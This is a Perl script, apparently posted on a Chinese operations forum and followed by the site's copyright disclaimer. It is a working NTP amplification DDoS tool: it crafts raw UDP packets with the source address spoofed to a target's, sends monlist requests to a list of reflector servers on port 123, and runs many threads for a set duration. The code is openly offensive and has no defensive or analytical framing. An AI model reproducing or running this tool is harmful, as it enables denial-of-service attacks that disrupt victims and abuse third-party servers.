use threads;
use Socket;
my $num_of_threads = $ARGV[5];
my $target = $ARGV[0];
my $udp_src_port = $ARGV[1];
my $time = $ARGV[2];
#Open Input List.
my $openme = $ARGV[3];
open my $handle, '<', $openme;
chomp(my @servers = <$handle>);
close $handle;
my $ppr = $ARGV[4];
my @threads = initThreads();
print "I guess im attacking $target for $time seconds with $num_of_threads threads\n";
#Does the list exist?
if (-e $openme) {
print "Using $openme as list.\n";
}
unless (-e $openme) {
print "List does not exist.\n";
exit();
}
#Start Threading
foreach(@threads){
$_ = threads->create(\&attackshit);
}
foreach(@threads){
$_->join();
}
sub initThreads{
my @initThreads;
for(my $i = 1;$i<=$num_of_threads;$i++){
push(@initThreads,$i);
}
return @initThreads;
}
#Start DDosing.
sub attackshit{
alarm("$time");
repeat: my $ip_dst = ( gethostbyname( $servers[ int( rand(@servers) ) ] ) )[4];
my $ip_src = ( gethostbyname($target) )[4];
socket( RAW, AF_INET, SOCK_RAW, 255 ) or die $!;
setsockopt( RAW, 0, 1, 1 );
main();
sub main {
my $packet;
$packet = ip_header();
$packet .= udp_header();
$packet .= payload();
#send_packet($packet) && goto repeat;
#send_packet($packet)
for (1 .. $ppr) {
send_packet($packet) or last;
}
goto repeat;
}
sub ip_header {
my $ip_ver = 4;
my $ip_header_len = 5;
my $ip_tos = 0;
my $ip_total_len = $ip_header_len + 20;
my $ip_frag_id = 0;
my $ip_frag_flag = "010";#"\x30\x31\x30";
my $ip_frag_offset = "0000000000000";#"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30";
my $ip_ttl = 255;
my $ip_proto = 17;
my $ip_checksum = 0;
my $ip_header = pack( "H2 H2 n n B16 h2 c n a4 a4",#"\x48\x32\x20\x48\x32\x20\x6E\x20\x6E\x20\x42\x31\x36\x20\x68\x32\x20\x63\x20\x6E\x20\x61\x34\x20\x61\x34",
$ip_ver.$ip_header_len,
$ip_tos,
$ip_total_len,
$ip_frag_id,
$ip_frag_flag.$ip_frag_offset,
$ip_ttl,
$ip_proto,
$ip_checksum,
$ip_src,
$ip_dst
);
return $ip_header;
}
sub udp_header {
my $udp_dst_port = 123;
my $udp_len = 8 + length( payload() );
my $udp_checksum = 0;
my $udp_header = pack(
"n n n n",#"\x6E\x20\x6E\x20\x6E\x20\x6E",
$udp_src_port,
$udp_dst_port,
$udp_len,
$udp_checksum
);
return $udp_header;
}
sub payload {
my $data = "\x17\x00\x03\x2a" . "\x00" x 4;
my $payload = pack( "a".length($data), $data );
return $payload;
}
sub send_packet {
send( RAW, $_[0], 0, pack( "Sna4x8", AF_INET, 60, $ip_dst ) );
}
}
运维网声明
1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网 享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com